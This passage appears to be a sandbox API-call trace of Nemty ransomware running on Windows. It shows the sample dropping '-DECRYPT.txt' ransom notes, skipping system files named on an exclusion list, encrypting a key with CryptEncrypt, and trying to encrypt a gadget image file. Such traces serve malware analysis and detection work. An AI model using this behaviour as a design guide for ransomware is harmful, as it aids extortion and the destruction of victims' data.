hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0147.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0147.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0147.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0147.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340260 [0147.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0147.938] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0147.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0147.938] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.938] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0147.939] CloseHandle (hObject=0x254) returned 1 [0147.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0147.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0147.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0147.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0147.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0147.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63402e8 [0147.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63403b0 [0147.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0147.940] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0147.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0147.941] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.941] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0147.941] CloseHandle (hObject=0x254) returned 1 [0147.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0147.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0147.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0147.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbd253d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xbd253d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0147.942] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0147.942] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbd253d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xbd253d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0147.942] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0147.942] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0147.942] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e972d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d9e972d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d9e972d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="..") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="...") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="windows") returned -1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="$RECYCLE.BIN") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="rsa") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="NTDETECT.COM") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="ntldr") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="MSDOS.SYS") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="IO.SYS") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="boot.ini") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="boot.ini") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="AUTOEXEC.BAT") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="ntuser.dat") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="desktop.ini") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="CONFIG.SYS") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="RECYCLER") returned 1 [0147.942] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="BOOTSECT.BAK") returned 1 [0147.943] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="bootmgr") returned 1 [0147.943] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="programdata") returned 1 [0147.943] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="appdata") returned 1 [0147.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0147.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideshow_glass_frame.png", lpUsedDefaultChar=0x0) returned 25 [0147.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0147.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0147.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideshow_glass_frame.png", lpUsedDefaultChar=0x0) returned 25 [0147.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0147.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0147.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideshow_glass_frame.png", lpUsedDefaultChar=0x0) returned 25 [0147.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0147.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideshow_glass_frame.png", lpUsedDefaultChar=0x0) returned 25 [0147.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63402e8 [0147.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0147.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403c0 [0147.943] Sleep (dwMilliseconds=0x5) [0147.948] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xbd4b530, dwHighDateTime=0x1d561e8)) [0147.948] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xbd4b530, dwHighDateTime=0x1d561e8)) [0147.948] GetLastError () returned 0xb7 [0147.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.948] GetLastError () returned 0xb7 [0147.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0147.948] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0147.948] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0147.949] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0147.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0147.949] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653e5dc | out: pszString="3jxOk94RXS5vSkRNRlLbfRR1lkuV+327PA93l1zUagTJ+ly0/rH6hwJymxypJOAq\r\n7EJ7yj9WTX74g5bolegsxXhPkYHOnqy80u5Kb66Yyp9qWdqGS83Hpjz9SGp27R2H\r\nB8HM0jKz+f1sxlWxHsH88Qcjx3dJWq0SVCPulU0lwdLCgyHfIK6/crpGOXlRX1Yz\r\nr0Uyi++F0UIsa48N6s0Wfj5AuoaccRrLpE66L1B2vB3iCRh31nDM1XrgMtH79d+K\r\n69ay1nrWldt+i0jDEsRepLk2n+lv0OEz7QM9nuLagm1wAOg8FX/SvTGkTNb8aQWX\r\nz/nQcxyAi4VEw5o+pA9smw==\r\n", pcchString=0x653e5dc) returned 1 [0147.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0147.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0147.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0147.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0147.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0147.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0147.949] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\slideshow_glass_frame.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\slideshow_glass_frame.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0147.949] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0147.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0147.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.977] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0148.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0148.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0148.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0148.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0148.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0148.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0148.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0148.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0148.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0148.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 